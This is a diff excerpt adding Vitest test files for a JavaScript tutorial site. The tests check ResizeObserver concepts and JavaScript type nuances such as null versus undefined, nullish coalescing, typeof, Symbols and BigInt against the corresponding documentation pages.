describe('Browser Support', () => { + // From lines ~625-635: Feature detection pattern + it('should demonstrate feature detection', () => { + // Simulate environments + const browserWithRO = { ResizeObserver: function() {} } + const browserWithoutRO = {} + + function hasResizeObserver(win) { + return 'ResizeObserver' in win + } + + expect(hasResizeObserver(browserWithRO)).toBe(true) + expect(hasResizeObserver(browserWithoutRO)).toBe(false) + }) + }) + + // ============================================================ + // COMPARISON WITH OTHER APPROACHES + // From resize-observer.mdx lines ~640-665 + // ============================================================ + + describe('ResizeObserver vs Other Approaches', () => { + // From lines ~640-665: Comparison table concepts + it('should understand when each approach is appropriate', () => { + const approaches = { + windowResize: { + when: 'viewport resize only', + efficiency: 'good', + useCase: 'Global layout changes' + }, + resizeObserver: { + when: 'any element size change', + efficiency: 'excellent', + useCase: 'Per-element responsive behavior' + }, + mutationObserver: { + when: 'DOM mutations', + efficiency: 'good', + useCase: 'Watching for added/removed elements' + }, + polling: { + when: 'on interval', + efficiency: 'poor', + useCase: 'Avoid if possible' + } + } + + expect(approaches.resizeObserver.efficiency).toBe('excellent') + expect(approaches.polling.efficiency).toBe('poor') + }) + }) + + // ============================================================ + // COMMON MISTAKES + // From resize-observer.mdx lines ~670-750 + // ============================================================ + + describe('Common Mistakes', () => { + // From lines ~675-695: Mistake 1 - Forgetting to disconnect + it('should demonstrate proper cleanup return pattern', () => { + const cleanedUp = [] + + // Good pattern: Return observer for cleanup + function attachObserver(element) { + const observer = { + target: element, + disconnect: () => { cleanedUp.push(element) } + } + return observer + } + + const obs1 = attachObserver('el1') + const obs2 = attachObserver('el2') + + // Caller can disconnect when done + obs1.disconnect() + expect(cleanedUp).toContain('el1') + expect(cleanedUp).not.toContain('el2') + + obs2.disconnect() + expect(cleanedUp).toContain('el2') + }) + + // From lines ~700-715: Mistake 2 - Accessing contentBoxSize incorrectly + it('should demonstrate correct contentBoxSize access', () => { + const mockEntry = { + contentBoxSize: [{ + inlineSize: 200, + blockSize: 100 + }] + } + + // WRONG: contentBoxSize.inlineSize (undefined) + expect(mockEntry.contentBoxSize.inlineSize).toBeUndefined() + + // CORRECT: contentBoxSize[0].inlineSize + expect(mockEntry.contentBoxSize[0].inlineSize).toBe(200) + }) + + // From lines ~720-740: Mistake 3 - Initial callback behavior + it('should handle initial callback', () => { + let callCount = 0 + let isFirstCall = true + + function handleResize(entries) { + if (isFirstCall) { + isFirstCall = false + return // Skip initial measurement + } + callCount++ + } + + // First call (initial measurement on observe()) + handleResize([{ target: 'el' }]) + expect(callCount).toBe(0) // Skipped + + // Subsequent calls + handleResize([{ target: 'el' }]) + expect(callCount).toBe(1) + + handleResize([{ target: 'el' }]) + expect(callCount).toBe(2) + }) + }) + + // ============================================================ + // KEY TAKEAWAYS VALIDATION + // From resize-observer.mdx lines ~755-810 + // ============================================================ + + describe('Key Takeaways', () => { + // Takeaway 1: ResizeObserver watches individual elements + it('should understand ResizeObserver vs window.resize', () => { + // window.resize: Only viewport changes + // ResizeObserver: Any element size change + + const causes = [ + 'viewport resize', + 'content change', + 'CSS animation', + 'sibling resize', + 'parent resize' + ] + + const windowResizeDetects = ['viewport resize'] + const resizeObserverDetects = causes // All of them + + expect(windowResizeDetects.length).toBe(1) + expect(resizeObserverDetects.length).toBe(5) + }) + + // Takeaway 6: ResizeObserver fires immediately + it('should understand initial callback behavior', () => { + // ResizeObserver callback fires immediately when you start observing + const callLog = [] + + function mockObserve(callback) { + // Simulates ResizeObserver behavior + callback([{ target: 'element' }]) // Immediate callback + } + + mockObserve((entries) => { + callLog.push('callback fired') + }) + + // Callback fired immediately on observe + expect(callLog.length).toBe(1) + }) + + // Takeaway 9: contentBoxSize is an array + it('should understand why contentBoxSize is an array', () => { + // Array to support future multi-fragment elements (e.g., multi-column layouts) + const mockEntry = { + contentBoxSize: [{ inlineSize: 100, blockSize: 50 }], + borderBoxSize: [{ inlineSize: 120, blockSize: 70 }] + } + + // Currently always one element, but use [0] to access + expect(mockEntry.contentBoxSize.length).toBe(1) + expect(mockEntry.borderBoxSize.length).toBe(1) + + const width = mockEntry.contentBoxSize[0].inlineSize + expect(width).toBe(100) + }) + }) + + // ============================================================ + // TEST YOUR KNOWLEDGE VALIDATION + // From resize-observer.mdx lines ~815-920 + // ============================================================ + + describe('Test Your Knowledge', () => { + // Question 1: contentRect vs contentBoxSize + it('Q1: should understand difference between contentRect and contentBoxSize', () => { + const mockEntry = { + // contentRect - DOMRectReadOnly with x, y, width, height, top, left, right, bottom + contentRect: { + width: 200, + height: 100, + top: 10, + left: 10, + x: 10, + y: 10, + right: 210, + bottom: 110 + }, + // contentBoxSize - Array of ResizeObserverSize with inlineSize, blockSize + contentBoxSize: [{ + inlineSize: 200, // Handles writing modes + blockSize: 100 + }] + } + + // contentRect has more properties + expect(Object.keys(mockEntry.contentRect).length).toBeGreaterThan(2) + + // contentBoxSize handles writing modes via inline/block + expect(mockEntry.contentBoxSize[0]).toHaveProperty('inlineSize') + expect(mockEntry.contentBoxSize[0]).toHaveProperty('blockSize') + }) + + // Question 4: How to observe border-box + it('Q4: should understand border-box observation option', () => { + const options = { box: 'border-box' } + + expect(options.box).toBe('border-box') + + // The borderBoxSize would then be the relevant property + const mockEntry = { + borderBoxSize: [{ inlineSize: 220, blockSize: 120 }] + } + + expect(mockEntry.borderBoxSize[0].inlineSize).toBe(220) + }) + + // Question 5: Cleanup methods + it('Q5: should understand cleanup methods', () => { + const unobservedElements = [] + let disconnected = false + + const mockObserver = { + unobserve: (el) => unobservedElements.push(el), + disconnect: () => { disconnected = true } + } + + // unobserve - stops watching specific element + mockObserver.unobserve('element1') + expect(unobservedElements).toContain('element1') + expect(disconnected).toBe(false) + + // disconnect - stops watching ALL elements + mockObserver.disconnect() + expect(disconnected).toBe(true) + }) + + // Question 6: Why contentBoxSize is an array + it('Q6: should explain contentBoxSize array structure', () => { + // Arrays support future multi-fragment elements + // (e.g., element split across columns in multi-column layout) + + // Current behavior: always one element + const entry = { + contentBoxSize: [{ inlineSize: 100, blockSize: 50 }] + } + + expect(entry.contentBoxSize.length).toBe(1) + + // Future behavior might include multiple fragments: + const futureEntry = { + contentBoxSize: [ + { inlineSize: 100, blockSize: 50 }, // Fragment in column 1 + { inlineSize: 100, blockSize: 30 } // Fragment in column 2 + ] + } + + expect(futureEntry.contentBoxSize.length).toBe(2) + }) + }) +}) diff --git a/tests/beyond/type-system/javascript-type-nuances/javascript-type-nuances.test.js b/tests/beyond/type-system/javascript-type-nuances/javascript-type-nuances.test.js new file mode 100644 index 00000000..16406547 --- /dev/null +++ b/tests/beyond/type-system/javascript-type-nuances/javascript-type-nuances.test.js @@ -0,0 +1,814 @@ +import { describe, it, expect } from 'vitest' + +/** + * Tests for JavaScript Type Nuances concept page + * Source: /docs/beyond/concepts/javascript-type-nuances.mdx + */ + +describe('JavaScript Type Nuances', () => { + describe('Opening Hook Code Example (lines 9-22)', () => { + it('should demonstrate undefined vs null declaration', () => { + // Source: lines 11-12 + let user // undefined — not initialized + let data = null // null — intentionally empty + + expect(user).toBe(undefined) + expect(data).toBe(null) + }) + + it('should show typeof quirk for null', () => { + // Source: lines 14-15 + expect(typeof null).toBe('object') // a famous bug! + expect(typeof undefined).toBe('undefined') + }) + + it('should demonstrate || vs ?? with falsy values', () => { + // Source: lines 17-18 + expect(0 || 'fallback').toBe('fallback') // but 0 is valid! + expect(0 ?? 'fallback').toBe(0) // nullish coalescing saves the day + }) + + it('should create unique Symbol and BigInt', () => { + // Source: lines 20-21 + const id = Symbol('id') + const huge = 9007199254740993n + + expect(typeof id).toBe('symbol') + expect(huge).toBe(9007199254740993n) + }) + }) + + describe('null vs undefined: When JavaScript Returns undefined (lines 90-115)', () => { + it('should return undefined for uninitialized variables', () => { + // Source: lines 92-93 + let name + expect(name).toBe(undefined) + }) + + it('should return undefined for missing object properties', () => { + // Source: lines 96-97 + const user = { name: 'Alice' } + expect(user.age).toBe(undefined) + }) + + it('should return undefined for functions without return', () => { + // Source: lines 100-104 + function greet() { + // no return statement + } + expect(greet()).toBe(undefined) + }) + + it('should return undefined for missing function parameters', () => { + // Source: lines 107-110 + function sayHi(name) { + return name + } + expect(sayHi()).toBe(undefined) + }) + + it('should return undefined for array holes', () => { + // Source: lines 113-114 + const sparse = [1, , 3] + expect(sparse[1]).toBe(undefined) + }) + }) + + describe('null vs undefined: When to Use null (lines 117-142)', () => { + it('should use null to intentionally clear a value', () => { + // Source: lines 123-124 + let currentUser = { name: 'Alice' } + currentUser = null // User logged out + expect(currentUser).toBe(null) + }) + + it('should use null in API responses for missing data', () => { + // Source: lines 127-130 + const response = { + user: null, // User not found, but the field exists + error: null // No error occurred + } + expect(response.user).toBe(null) + expect(response.error).toBe(null) + }) + + it('should return null for end of prototype chain', () => { + // Source: line 136 + expect(Object.getPrototypeOf(Object.prototype)).toBe(null) + }) + + it('should use null for optional parameters with default values', () => { + // Source: lines 139-141 + function createUser(name, email = null) { + return { name, email } + } + const user = createUser('Alice') + expect(user.email).toBe(null) + }) + }) + + describe('null vs undefined: Comparing behavior (lines 158-174)', () => { + it('should show equality quirks between null and undefined', () => { + // Source: lines 160-161 + expect(null == undefined).toBe(true) // loose equality + expect(null === undefined).toBe(false) // strict equality + }) + + it('should show type checking differences', () => { + // Source: lines 164-165 + expect(typeof null).toBe('object') // historical bug! + expect(typeof undefined).toBe('undefined') + }) + + it('should show numeric coercion differences', () => { + // Source: lines 168-169 + expect(null + 1).toBe(1) // null becomes 0 + expect(Number.isNaN(undefined + 1)).toBe(true) // undefined becomes NaN + }) + + it('should omit undefined properties in JSON serialization', () => { + // Source: lines 172-173 + const result = JSON.stringify({ a: null, b: undefined }) + expect(result).toBe('{"a":null}') // undefined properties are skipped! + }) + }) + + describe('null vs undefined: Checking for Both (lines 178-195)', () => { + it('should check for both using loose equality', () => { + // Source: lines 184-186 + const checkValue = (value) => { + if (value == null) { + return 'No value' + } + return 'Has value' + } + + expect(checkValue(null)).toBe('No value') + expect(checkValue(undefined)).toBe('No value') + expect(checkValue(0)).toBe('Has value') + expect(checkValue('')).toBe('Has value') + }) + + it('should provide default with nullish coalescing', () => { + // Source: line 194 + const getValue = (value) => value ?? 'default' + + expect(getValue(null)).toBe('default') + expect(getValue(undefined)).toBe('default') + expect(getValue(0)).toBe(0) + expect(getValue('')).toBe('') + }) + }) + + describe('Short-Circuit: Logical OR || (lines 207-232)', () => { + it('should return first truthy value', () => { + // Source: lines 212-217 + expect('hello' || 'default').toBe('hello') + expect('' || 'default').toBe('default') // empty string is falsy + expect(0 || 42).toBe(42) // 0 is falsy! + expect(null || 'fallback').toBe('fallback') + expect(undefined || 'fallback').toBe('fallback') + }) + + it('should show the problem with || treating all falsy values as triggers', () => { + // Source: lines 229-231 + const userCount = 0 + const userName = '' + + expect(userCount || 10).toBe(10) // If userCount is 0, you get 10! + expect(userName || 'Guest').toBe('Guest') // If userName is '', you get 'Guest'! + }) + }) + + describe('Short-Circuit: Logical AND && (lines 234-248)', () => { + it('should return first falsy value or last value if all truthy', () => { + // Source: lines 239-243 + expect(true && 'hello').toBe('hello') // both truthy, returns last + expect('hello' && 42).toBe(42) + expect(null && 'hello').toBe(null) // first falsy + expect(0 && 'hello').toBe(0) // first falsy + }) + + it('should enable conditional execution pattern', () => { + // Source: lines 246-247 + const user = { name: 'Alice' } + expect(user && user.name).toBe('Alice') + + const noUser = null + expect(noUser && noUser.name).toBe(null) + }) + }) + + describe('Short-Circuit: Nullish Coalescing ?? (lines 250-265)', () => { + it('should only fall back on null/undefined, not other falsy values', () => { + // Source: lines 256-260 + expect(0 ?? 42).toBe(0) // 0 is NOT nullish! + expect('' ?? 'default').toBe('') // empty string is NOT nullish! + expect(false ?? true).toBe(false) + expect(null ?? 'fallback').toBe('fallback') + expect(undefined ?? 'fallback').toBe('fallback') + }) + + it('should safely handle 0 and empty string as valid values', () => { + // Source: lines 263-264 + const userCount = 0 + const userName = '' + + expect(userCount ?? 10).toBe(0) // 0 stays as 0 + expect(userName ?? 'Guest').toBe('') // '' stays as '' + }) + }) + + describe('Short-Circuit: Optional Chaining ?. (lines 302-336)', () => { + it('should safely access nested properties', () => { + // Source: lines 307-318 + const user = { + name: 'Alice', + address: { + city: 'Wonderland' + } + } + + expect(user?.address?.city).toBe('Wonderland') + }) + + it('should return undefined for null/undefined instead of throwing', () => { + // Source: lines 321-323 + const nullUser = null + expect(nullUser?.name).toBe(undefined) // no error! + expect(nullUser?.address?.city).toBe(undefined) // no error! + }) + + it('should work with arrays', () => { + // Source: lines 326-328 + const users = [{ name: 'Alice' }] + expect(users?.[0]?.name).toBe('Alice') + expect(users?.[99]?.name).toBe(undefined) + }) + + it('should work with function calls', () => { + // Source: lines 331-335 + const api = { + getUser: () => ({ name: 'Alice' }) + } + expect(api.getUser?.()).toEqual({ name: 'Alice' }) + expect(api.nonexistent?.()).toBe(undefined) // no error! + }) + }) + + describe('Short-Circuit: Combining ?? and ?. (lines 339-361)', () => { + it('should get deeply nested value with a default', () => { + // Source: line 344 + const user = { settings: { theme: 'dark' } } + expect(user?.settings?.theme ?? 'light').toBe('dark') + + const userNoSettings = {} + expect(userNoSettings?.settings?.theme ?? 'light').toBe('light') + }) + + it('should provide safe function call with default return', () => { + // Source: line 347 + const api = { + getData: () => [1, 2, 3] + } + expect(api.getData?.() ?? []).toEqual([1, 2, 3]) + + const noApi = {} + expect(noApi.getData?.() ?? []).toEqual([]) + }) + + it('should respect explicit 0 when using ?? with ?.', () => { + // Source: lines 350-360 + const config = { + api: {} + } + + expect(config?.api?.timeout ?? 5000).toBe(5000) // no timeout set + + config.api.timeout = 0 + expect(config?.api?.timeout ?? 5000).toBe(0) // respects the explicit 0 + }) + }) + + describe('typeof Operator: Basic Usage (lines 369-387)', () => { + it('should return correct type strings for primitives', () => { + // Source: lines 372-378 + expect(typeof 'hello').toBe('string') + expect(typeof 42).toBe('number') + expect(typeof 42n).toBe('bigint') + expect(typeof true).toBe('boolean') + expect(typeof undefined).toBe('undefined') + expect(typeof Symbol('id')).toBe('symbol') + }) + + it('should return object or function for non-primitives', () => { + // Source: lines 381-386 + expect(typeof {}).toBe('object') + expect(typeof []).toBe('object') // arrays are objects! + expect(typeof new Date()).toBe('object') + expect(typeof /regex/).toBe('object') + expect(typeof function(){}).toBe('function') // special case + expect(typeof class {}).toBe('function') // classes are functions + }) + }) + + describe('typeof Operator: The null Bug (lines 389-410)', () => { + it('should demonstrate typeof null returns object', () => { + // Source: line 394 + expect(typeof null).toBe('object') // NOT 'null'! + }) + + it('should show correct way to check for null', () => { + // Source: lines 402-409 + const value = null + + // ❌ Wrong — typeof doesn't work for null + expect(typeof value === 'null').toBe(false) // Never true! + + // ✓ Correct — direct comparison + expect(value === null).toBe(true) + + // ✓ Also correct — check both null and undefined + expect(value == null).toBe(true) + }) + }) + + describe('typeof Operator: Undeclared Variables (lines 412-431)', () => { + it('should return undefined for undeclared variables safely', () => { + // Source: lines 420-421 + expect(typeof undeclaredVar).toBe('undefined') + }) + + it('should enable feature detection', () => { + // Source: lines 424-429 (testing in Node.js environment) + expect(typeof process !== 'undefined').toBe(true) // Running in Node.js + }) + }) + + describe('typeof Operator: Better Type Checking (lines 460-489)', () => { + it('should use Array.isArray for arrays', () => { + // Source: lines 465-467 + expect(Array.isArray([1, 2, 3])).toBe(true) + expect(Array.isArray('hello')).toBe(false) + }) + + it('should use Object.prototype.toString for precise type checking', () => { + // Source: lines 473-477 + expect(Object.prototype.toString.call({})).toBe('[object Object]') + expect(Object.prototype.toString.call([])).toBe('[object Array]') + expect(Object.prototype.toString.call(null)).toBe('[object Null]') + expect(Object.prototype.toString.call(undefined)).toBe('[object Undefined]') + expect(Object.prototype.toString.call(new Date())).toBe('[object Date]') + }) + + it('should use helper function for precise type checking', () => { + // Source: lines 480-488 + function getType(value) { + return Object.prototype.toString.call(value).slice(8, -1).toLowerCase() + } + + expect(getType(null)).toBe('null') + expect(getType([])).toBe('array') + expect(getType({})).toBe('object') + expect(getType(new Date())).toBe('date') + expect(getType(/regex/)).toBe('regexp') + }) + }) + + describe('instanceof Operator (lines 493-543)', () => { + it('should check prototype chain for class instances', () => { + // Source: lines 500-508 + class Animal {} + class Dog extends Animal {} + + const buddy = new Dog() + + expect(buddy instanceof Dog).toBe(true) + expect(buddy instanceof Animal).toBe(true) // inheritance chain + expect(buddy instanceof Object).toBe(true) // everything inherits from Object + expect(buddy instanceof Array).toBe(false) + }) + + it('should work with built-in constructors', () => { + // Source: lines 511-515 + expect([] instanceof Array).toBe(true) + expect({} instanceof Object).toBe(true) + expect(new Date() instanceof Date).toBe(true) + expect(/regex/ instanceof RegExp).toBe(true) + }) + + it('should return false for primitives', () => { + // Source: lines 517-518 + expect('hello' instanceof String).toBe(false) // primitive, not String object + expect(42 instanceof Number).toBe(false) // primitive, not Number object + }) + + it('should check prototype chain using isPrototypeOf', () => { + // Source: lines 526-539 + class Animal { + speak() { return 'Some sound' } + } + + class Dog extends Animal { + speak() { return 'Woof!' } + } + + const buddy = new Dog() + + expect(Dog.prototype.isPrototypeOf(buddy)).toBe(true) + expect(Animal.prototype.isPrototypeOf(buddy)).toBe(true) + }) + }) + + describe('instanceof with Symbol.hasInstance (lines 545-578)', () => { + it('should customize instanceof behavior with Symbol.hasInstance', () => { + // Source: lines 551-561 + class Duck { + static [Symbol.hasInstance](instance) { + return instance?.quack !== undefined + } + } + + const mallard = { quack: () => 'Quack!' } + const dog = { bark: () => 'Woof!' } + + expect(mallard instanceof Duck).toBe(true) // has quack method + expect(dog instanceof Duck).toBe(false) // no quack method + }) + + it('should validate data shapes with Symbol.hasInstance', () => { + // Source: lines 564-577 + class ValidUser { + static [Symbol.hasInstance](obj) { + return obj !== null && + typeof obj === 'object' && + typeof obj.id === 'number' && + typeof obj.email === 'string' + } + } + + const user = { id: 1, email: 'alice@example.com' } + const invalid = { name: 'Bob' } + + expect(user instanceof ValidUser).toBe(true) + expect(invalid instanceof ValidUser).toBe(false) + }) + }) + + describe('Symbols: Creating and Using (lines 592-639)', () => { + it('should create unique symbols even with same description', () => { + // Source: lines 600-605 + const id = Symbol('id') + const anotherId = Symbol('id') + + expect(id === anotherId).toBe(false) // different symbols + expect(id === id).toBe(true) // same symbol + }) + + it('should have accessible description', () => { + // Source: lines 608-609 + const id = Symbol('id') + expect(id.description).toBe('id') + }) + + it('should solve property name collision problem', () => { + // Source: lines 616-631 + const user = { + id: 123, + name: 'Alice' + } + + const internalId = Symbol('internal-id') + user[internalId] = 'library-internal-id' + + expect(user.id).toBe(123) // original preserved + expect(user[internalId]).toBe('library-internal-id') + }) + + it('should hide symbols from normal iteration', () => { + // Source: lines 634-638 + const secret = Symbol('secret') + const user = { + id: 123, + name: 'Alice', + [secret]: 'hidden' + } + + expect(Object.keys(user)).toEqual(['id', 'name']) // no symbol! + expect(JSON.stringify(user)).toBe('{"id":123,"name":"Alice"}') // no symbol! + }) + + it('should access symbols with Object.getOwnPropertySymbols', () => { + // Source: line 638 + const secret = Symbol('secret') + const user = { + visible: 'hello', + [secret]: 'hidden' + } + + const symbols = Object.getOwnPropertySymbols(user) + expect(symbols.length).toBe(1) + expect(user[symbols[0]]).toBe('hidden') + }) + }) + + describe('Symbols: Global Registry (lines 641-659)', () => { + it('should create/retrieve global symbols with Symbol.for', () => { + // Source: lines 646-651 + const globalId = Symbol.for('app.userId') + const sameId = Symbol.for('app.userId') + + expect(globalId === sameId).toBe(true) + }) + + it('should get key from global symbol with Symbol.keyFor', () => { + // Source: lines 654-658 + const globalId = Symbol.for('app.userId') + expect(Symbol.keyFor(globalId)).toBe('app.userId') + + const localId = Symbol('local') + expect(Symbol.keyFor(localId)).toBe(undefined) + }) + }) + + describe('Symbols: Well-Known Symbols (lines 661-710)', () => { + it('should customize iteration with Symbol.iterator', () => { + // Source: lines 667-686 + const range = { + start: 1, + end: 5, + [Symbol.iterator]() { + let current = this.start + const end = this.end + return { + next() { + if (current <= end) { + return { value: current++, done: false } + } + return { done: true } + } + } + } + } + + const values = [...range] + expect(values).toEqual([1, 2, 3, 4, 5]) + }) + + it('should customize toString tag with Symbol.toStringTag', () => { + // Source: lines 689-695 + class MyClass { + get [Symbol.toStringTag]() { + return 'MyClass' + } + } + + expect(Object.prototype.toString.call(new MyClass())).toBe('[object MyClass]') + }) + + it('should customize type conversion with Symbol.toPrimitive', () => { + // Source: lines 698-709 + const money = { + amount: 100, + currency: 'USD', + [Symbol.toPrimitive](hint) { + if (hint === 'number') return this.amount + if (hint === 'string') return `${this.currency} ${this.amount}` + return this.amount + } + } + + expect(+money).toBe(100) // hint: 'number' + expect(`${money}`).toBe('USD 100') // hint: 'string' + }) + }) + + describe('BigInt: Precision Problem (lines 726-743)', () => { + it('should show MAX_SAFE_INTEGER limit', () => { + // Source: line 735 + expect(Number.MAX_SAFE_INTEGER).toBe(9007199254740991) + }) + + it('should demonstrate precision loss beyond safe integer', () => { + // Source: line 738 + expect(9007199254740992 === 9007199254740993).toBe(true) // they're the same to JS! + }) + }) + + describe('BigInt: Creating Values (lines 745-758)', () => { + it('should create BigInt with n suffix', () => { + // Source: lines 749-750 + const big = 9007199254740993n + expect(big).toBe(9007199254740993n) + }) + + it('should create BigInt from string', () => { + // Source: lines 753-754 + const alsoBig = BigInt('9007199254740993') + const fromNumber = BigInt(42) + + expect(alsoBig).toBe(9007199254740993n) + expect(fromNumber).toBe(42n) + }) + + it('should preserve precision with BigInt', () => { + // Source: line 757 + expect(9007199254740992n === 9007199254740993n).toBe(false) // correctly different! + }) + }) + + describe('BigInt: Operations (lines 760-781)', () => { + it('should perform arithmetic operations', () => { + // Source: lines 763-772 + const a = 10n + const b = 3n + + expect(a + b).toBe(13n) + expect(a - b).toBe(7n) + expect(a * b).toBe(30n) + expect(a ** b).toBe(1000n) + }) + + it('should truncate division (no decimals)', () => { + // Source: line 774 + expect(10n / 3n).toBe(3n) // not 3.333... + }) + + it('should support remainder operation', () => { + // Source: line 777 + expect(10n % 3n).toBe(1n) + }) + + it('should support comparison operations', () => { + // Source: lines 780-781 + expect(10n > 3n).toBe(true) + expect(10n === 10n).toBe(true) + }) + }) + + describe('BigInt: Limitations (lines 783-810)', () => { + it('should throw TypeError when mixing BigInt and Number', () => { + // Source: line 787 + expect(() => 10n + 5).toThrow(TypeError) + }) + + it('should require explicit conversion between BigInt and Number', () => { + // Source: lines 790-791 + expect(10n + BigInt(5)).toBe(15n) + expect(Number(10n) + 5).toBe(15) + }) + + it('should throw TypeError with Math methods', () => { + // Source: line 794 + expect(() => Math.max(1n, 2n)).toThrow(TypeError) + }) + + it('should use comparison operators instead of Math methods', () => { + // Source: line 797 + expect(1n > 2n ? 1n : 2n).toBe(2n) + }) + + it('should throw TypeError with unary +', () => { + // Source: line 800 + expect(() => +10n).toThrow(TypeError) + }) + + it('should throw TypeError when serializing BigInt to JSON', () => { + // Source: line 806 + expect(() => JSON.stringify({ id: 10n })).toThrow(TypeError) + }) + + it('should convert BigInt to string for JSON serialization', () => { + // Source: line 809 + expect(JSON.stringify({ id: 10n.toString() })).toBe('{"id":"10"}') + }) + }) + + describe('BigInt: Use Cases (lines 812-831)', () => { + it('should handle large IDs without precision loss', () => { + // Source: line 816 + const tweetId = 1234567890123456789n + expect(tweetId).toBe(1234567890123456789n) + }) + + it('should handle cryptographic-scale numbers', () => { + // Source: line 819 + const largeKey = 2n ** 256n + expect(largeKey > Number.MAX_SAFE_INTEGER).toBe(true) + }) + + it('should compute factorial without precision loss', () => { + // Source: lines 826-829 + function factorial(n) { + if (n <= 1n) return 1n + return n * factorial(n - 1n) + } + + expect(factorial(20n)).toBe(2432902008176640000n) + }) + }) + + describe('Common Mistakes (lines 839-941)', () => { + it('should show mistake of using || when ?? is needed', () => { + // Source: lines 846-853 + const userCount = 0 + const userName = '' + + // ❌ Wrong — loses valid values + expect(userCount || 10).toBe(10) + expect(userName || 'Guest').toBe('Guest') + + // ✓ Correct — only fallback on null/undefined + expect(userCount ?? 10).toBe(0) + expect(userName ?? 'Guest').toBe('') + }) + + it('should show mistake of using typeof to check for null', () => { + // Source: lines 858-869 + const value = null + + // ❌ Wrong — never works + expect(typeof value === 'null').toBe(false) + + // ✓ Correct — direct comparison + expect(value === null).toBe(true) + }) + + it('should show mistake of not handling both null and undefined', () => { + // Source: lines 901-918 + const checkValue = (value) => { + if (value == null) { // Loose equality catches both + return 'No value' + } + return 'Has value' + } + + expect(checkValue(null)).toBe('No value') + expect(checkValue(undefined)).toBe('No value') + }) + + it('should show that Symbol properties are hidden from iteration', () => { + // Source: lines 925-939 + const secret = Symbol('secret') + const obj = { + visible: 'hello', + [secret]: 'hidden' + } + + // ❌ Symbol properties are invisible here + expect(Object.keys(obj)).toEqual(['visible']) + expect(JSON.stringify(obj)).toBe('{"visible":"hello"}') + + // ✓ Use these to access Symbol properties + expect(Object.getOwnPropertySymbols(obj)).toHaveLength(1) + expect(Reflect.ownKeys(obj)).toEqual(['visible', secret]) + }) + }) + + describe('Test Your Knowledge Q&A (lines 973-1080)', () => { + it('Q1: should demonstrate difference between null and undefined', () => { + // Source: lines 983-992 + let x // undefined (uninitialized) + let y = null // null (intentionally empty) + + expect(typeof x).toBe('undefined') + expect(typeof y).toBe('object') // bug! + + expect(x == y).toBe(true) // loose equality + expect(x === y).toBe(false) // strict equality + }) + + it('Q2: should show output of || vs ?? expressions', () => { + // Source: lines 1006-1010 + expect(0 || 'fallback').toBe('fallback') // 0 is falsy + expect(0 ?? 'fallback').toBe(0) // 0 is not nullish + expect('' || 'fallback').toBe('fallback') // '' is falsy + expect('' ?? 'fallback').toBe('') // '' is not nullish + }) + + it('Q4: should check for null OR undefined in one condition', () => { + // Source: lines 1029-1032 + const checkNull = (value) => value == null + + expect(checkNull(null)).toBe(true) + expect(checkNull(undefined)).toBe(true) + expect(checkNull(0)).toBe(false) + expect(checkNull('')).toBe(false) + }) + + it('Q5: should show difference between Symbol() and Symbol.for()', () => { + // Source: lines 1050-1057 + expect(Symbol('id') === Symbol('id')).toBe(false) + expect(Symbol.for('id') === Symbol.for('id')).toBe(true) + }) + + it('Q6: should demonstrate why BigInt and Number cannot be mixed', () => { + // Source: lines 1067-1073 + expect(() => 10n + 5).toThrow(TypeError) + + // Fix by converting to same type + expect(10n + BigInt(5)).toBe(15n) + expect(Number(10n) + 5).toBe(15) + }) + }) +})